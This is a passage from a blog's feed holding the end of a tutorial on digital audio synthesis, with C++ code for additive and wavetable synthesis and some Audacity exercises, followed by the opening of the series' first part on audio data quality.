        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.5f&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; freq &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.5f&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; freq2 &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Again, the code above populates the buffer with 1024 samples of audio. But this time, we introduced a second frequency &lt;code&gt;freq2&lt;/code&gt; and added a second sample to the buffer. We also made sure to scale the resulting sample back down to the $[-1, 1]$ range by multiplying each sample by 0.5.&lt;/p&gt;
&lt;p&gt;We can see additive synthesis in action with some help from &lt;a href=&quot;https://www.audacityteam.org/&quot;&gt;Audacity&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Let’s start off with one tone.
&lt;ul&gt;
&lt;li&gt;Generate a 440Hz tone (Generate &amp;gt; Tone… &amp;gt; Sine).&lt;/li&gt;
&lt;li&gt;Play it. You’ll hear a pure tone.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Now let’s add another tone.
&lt;ul&gt;
&lt;li&gt;Make a new track (Tracks &amp;gt; Add New &amp;gt; Mono Track).&lt;/li&gt;
&lt;li&gt;Generate an 880Hz tone in the new track. Same method as above.&lt;/li&gt;
&lt;li&gt;Play it to hear a beautiful sounding octave.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;The audacity of it all!&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-2000w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-2000w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2000 / 650&quot; alt=&quot;Screenshot of Audacity with the 440 Hertz and 880 Hertz sine tone.&quot; title=&quot;The audacity of it all!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-2000w.webp 2000w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2000px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;During playback, Audacity will combine the samples from both tracks by summing them and play the summed signal.&lt;/p&gt;
&lt;p&gt;You can try layering other frequencies (554Hz, 659Hz) to play a nifty A Major chord.&lt;/p&gt;
&lt;h2 id=&quot;fundamental-frequency&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#fundamental-frequency&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Fundamental Frequency&lt;/h2&gt;
&lt;p&gt;A side note. When combining two frequencies with additive synthesis, something subtle happens. The ground shifts and our feet fumble! The fundamental frequency implicitly changes!&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;DIY Example&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fire up Audacity.&lt;/li&gt;
&lt;li&gt;Generate a 400Hz sine tone. (Generate &amp;gt; Tone...)&lt;/li&gt;
&lt;li&gt;Generate a 402Hz sine tone on a different track.&lt;/li&gt;
&lt;li&gt;Play the audio and observe. How many times does the audio &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;i.e. hit a maximum point&quot;&gt;peak&lt;/abbr&gt; per second?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It peaks &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;twice&lt;/span&gt; per second. (That is, we implicitly added a &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;2Hz&lt;/span&gt; signal beneath!)&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Specifically, the fundamental changes to the &lt;strong&gt;greatest common divisor&lt;/strong&gt; (GCD) of the two frequencies.&lt;/p&gt;
&lt;p&gt;More notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When we play a note and its 5th (in &lt;em&gt;Just Temperament&lt;/em&gt;), say 440Hz and 660Hz, our fundamental is 220Hz.&lt;/li&gt;
&lt;li&gt;With octaves, the fundamental frequency is just the frequency of the lower note.&lt;/li&gt;
&lt;li&gt;This also leads to some interesting phenomena.
&lt;ul&gt;
&lt;li&gt;When we play two super-low-register notes a semitone apart, we get funny, dissonant pulses emanating from our keyboard or piano.&lt;/li&gt;
&lt;li&gt;This may also lead to unpleasant buzzes when mixing synths, possibly due to frequency modulation on top of a steady tone.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;wavetable-synthesis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#wavetable-synthesis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Wavetable Synthesis 🌊&lt;/h2&gt;
&lt;p&gt;In previous code blocks, we computed samples using &lt;code&gt;sin()&lt;/code&gt;. But what if we wanted to compute something more complex? Do we really just reverse the Fourier theorem and apply additive synthesis on a bunch of sine signals? It turns out there&#39;s a better way.&lt;/p&gt;
&lt;p&gt;A more efficient approach is to interpolate over &lt;em&gt;pre-generated values&lt;/em&gt;, sacrificing a bit of memory for faster runtime performance. This is known as &lt;strong&gt;wavetable synthesis&lt;/strong&gt; or &lt;strong&gt;table-lookup synthesis&lt;/strong&gt;. The idea is to pre-generate one cycle of the wave (e.g. a sine) and store it in a lookup table. Then when generating samples for our audio, we would look up the pre-generated samples and derive intermediate values if necessary (via interpolation).&lt;/p&gt;
&lt;p&gt;This is akin to preparing a cheat sheet for an exam, but you&#39;re only allowed to bring one sheet of paper—space is precious. You decide to only include the most crucial equations, key points, and references. Then when taking the exam you refer to the cheat sheet for ideas, connect the dots, and combine them with your thoughts to form an answer.&lt;/p&gt;
&lt;div class=&quot;mb-2 rw center jw-75 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/wavetable-synthesis.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Example of wavetable synthesis. The blue dots (above) show a pre-generated wavetable of length 32. The red dots (below) are samples of a 8Hz sine wave sampled at 100Hz, generated by interpolating on the wavetable. (&lt;a href=&quot;https://gist.github.com/TrebledJ/f42f9030d1bee0ece8af7fc0db5d0151&quot;&gt;Source Code&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Wavetable synthesis can be implemented in C++ like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;SINE_WAVETABLE_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;SAMPLE_RATE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;44100&lt;/span&gt;  &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;// Number of samples per second (of the target waveform).&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;BUFFER_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// The pre-generated wavetable. It should capture one cycle of the desired waveform (in this case, a sine).&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; sine_wavetable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;SINE_WAVETABLE_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* pre-generated values ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// The phase indicates how far along the wavetable we are.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// We&#39;re concerned with two components: the integer and decimal.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// The integer part indicates the index of left sample along the wavetable, modulus the size.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// The decimal part indicates the fraction between the left and right samples.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; phase &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/**
 * Generate samples of a sine wave by interpolating a wavetable.
 * @param freq  Frequency of the sine wave, in Hz.
 */&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_next_sample&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; freq&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    size_t idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;size_t&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;phase&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Integer part.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; frac &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; phase &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// Decimal part.&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Get the pre-generated sample to the LEFT of the current sample.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; samp0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sine_wavetable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Get the pre-generated sample to the RIGHT of the current sample.&lt;/span&gt;
    idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;idx &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; SINE_WAVETABLE_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; samp1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sine_wavetable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Interpolate between the left and right samples to get the current sample.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; inter &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;samp0 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;samp1 &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; samp0&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; frac&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Advance the phase to prepare for the next sample.&lt;/span&gt;
    phase &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; SINE_WAVETABLE_SIZE &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; freq &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; inter&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;generate_samples_w&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; freq&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_next_sample&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;freq&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// We&#39;ve offloaded the calculations to `get_next_sample`.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For a sine wave, we don&#39;t gain much in terms of performance. But when it comes to generating complex waveforms, wavetable synthesis rocks!&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Wavetable synthesis is commonly used by &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;a protocol for music&quot;&gt;MIDI&lt;/abbr&gt; to generate sounds. Each instrument has its own &lt;em&gt;soundfont&lt;/em&gt;, which is a collection of wavetables of different pitches. This unifies the synthesis approach for all instruments, as some may be simple to generate (e.g. clarinet) while others are more complex.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Additive synthesis and wavetable synthesis serve two very different purposes!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Additive synthesis aims to &lt;em&gt;combine multiple waveforms&lt;/em&gt;, of &lt;em&gt;any&lt;/em&gt; shape and size (e.g. playing chords, or combining guitar and voice tracks).&lt;/li&gt;
&lt;li&gt;Wavetable synthesis aims to generate a &lt;em&gt;specific&lt;/em&gt; waveform (in a fast manner).&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Besides this software approach, we can also leverage hardware to speed up processing. But this is a matter for the next post.&lt;/p&gt;
&lt;p&gt;Exercise for the reader:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What variables affect the speed at which we iterate through the pre-generated wavetable?&lt;/li&gt;
&lt;li&gt;What happens if we try to generate a waveform with frequency equal to half the sample rate? Or with frequency equal &lt;em&gt;to&lt;/em&gt; the sample rate itself?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;recap&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#recap&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Recap 🔁&lt;/h2&gt;
&lt;p&gt;Audio generation is pretty fun once we dive deep, as are its applications: toys, electronic instruments, virtual instruments, digital synths, speakers, hearing aids, and whatnot.  As before, I hope we communicated on the same wavelength and the information on this post did not experience aliasing. 😏&lt;/p&gt;
&lt;p&gt;In the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3&quot;&gt;next post&lt;/a&gt;, we&#39;ll dive even deeper into audio synthesis (particularly in embedded systems) and engineer a simple tone generator.&lt;/p&gt;
&lt;p&gt;To recap…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Audio samples may come from several sources. It may be recorded, loaded from a file, or &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#audio-synthesis&quot;&gt;synthesised&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;We can synthesise musical pitches by &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#buffering&quot;&gt;buffering&lt;/a&gt; samples and feeding them to hardware.&lt;/li&gt;
&lt;li&gt;According to the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#the-fourier-theorem&quot;&gt;Fourier Theorem&lt;/a&gt;, all signals can be broken into a summation of sine waves.&lt;/li&gt;
&lt;li&gt;To combine audio signals, we can apply &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#additive-synthesis&quot;&gt;additive synthesis&lt;/a&gt;.
&lt;ul&gt;
&lt;li&gt;This also allows us to play multiple pitches simultaneously (chords).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We can generate complex waveforms by using &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#wavetable-synthesis&quot;&gt;wavetable synthesis&lt;/a&gt;, which trades memory for speed by sampling pre-generated signals.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Waveforms (Sine, Square, Triangle, Sawtooth)
&lt;ul&gt;
&lt;li&gt;Most audio synthesis tutorials cover simple waveforms; but as internet content is saturated here, I&#39;ll just drop a couple links. I couldn&#39;t find an article I like that introduces these waveforms in all their glory. If you know of better articles, let me know.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.perfectcircuit.com/signal/difference-between-waveforms&quot;&gt;Perfect Circuit&lt;/a&gt; (conceptual, high-level)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.electronics-tutorials.ws/waveforms/waveforms.html&quot;&gt;Electronics Tutorial&lt;/a&gt; (geared towards electronics; would be a nice read to prepare for the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3&quot;&gt;next post&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://musictech.com/guides/essential-guide/beginners-guide-to-synthesis-in-music-production/&quot;&gt;Beginner’s Guide: Everything you need to know about synthesis in music production&lt;/a&gt; – Introduces more forms of audio synthesis, geared towards music production.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Boy, do I have a lot to say about buffers. Why is the buffer size important? Small buffers may reduce the efficacy of batching operations (which is the primary purpose of buffers). Large buffers may block the processor too much, making it sluggish to respond to new input. Choosing an appropriate buffer size also depends on your sampling rate. With a buffer size of 1024 sampling at 44100Hz, we would need to generate our samples every $&#92;frac{1024}{44.1&#92;text{kHz}} &#92;approx 23.2$ ms. On a single processor, this means we have &lt;em&gt;less than&lt;/em&gt; 23.2 ms to perform other tasks (e.g. handle UI, events, etc.). &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Guess what? There are more ways to optimise wavetable synthesis—so it&#39;ll rock even more! See the open source &lt;a href=&quot;https://github.com/spiricom/LEAF/blob/a0b0b7915cce3792ea00f06d0a6861be1a73d609/leaf/Src/leaf-oscillators.c#L67&quot;&gt;LEAF&lt;/a&gt; library for an example of optimised wavetable synthesis in C. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>tutorial</category>
        
          <category>dsp</category>
        
          <category>c</category>
        
          <category>cpp</category>
        
          <category>music</category>
        
          <category>audio-synthesis-for-dummies</category>
        
          <category>synths</category>
        
          <category>notes</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Digital Audio Synthesis for Dummies: Part 1</title>
        <description>An introductory discourse on audio processing. What makes audio tick?</description>
        <link href="https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/"/>
        <updated>2023-02-24T00:00:00Z</updated>
        <id>https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/</id>
        <content xml:lang="en" type="html">&lt;p&gt;A while back I worked on a lil’ &lt;a href=&quot;https://trebledj.me/posts/stm32-midi-keyboard&quot;&gt;MIDI keyboard&lt;/a&gt; project and learnt a lot regarding digital audio signal processing. This post is the first in a series of posts related to that project and aims to provide a springboard for those who wish to get their feet wet with audio processing.&lt;/p&gt;
&lt;h2 id=&quot;dealing-with-data&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#dealing-with-data&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Dealing with Data 📈&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Get ready for some Data!&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/data-620w.webp&quot;&gt;&lt;img class=&quot;rw float-right m-1 jw-40&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/data-620w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 620 / 473&quot; alt=&quot;Lieutenant Data from Star Trek. Get it?&quot; title=&quot;Get ready for some Data!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/data-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/data-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/data-620w.webp 620w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 620px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;When processing data of any form, we are concerned with the data’s quality. Higher quality data may lead to a more thorough analysis and better user experience, but also demand higher memory and computing requirements.&lt;/p&gt;
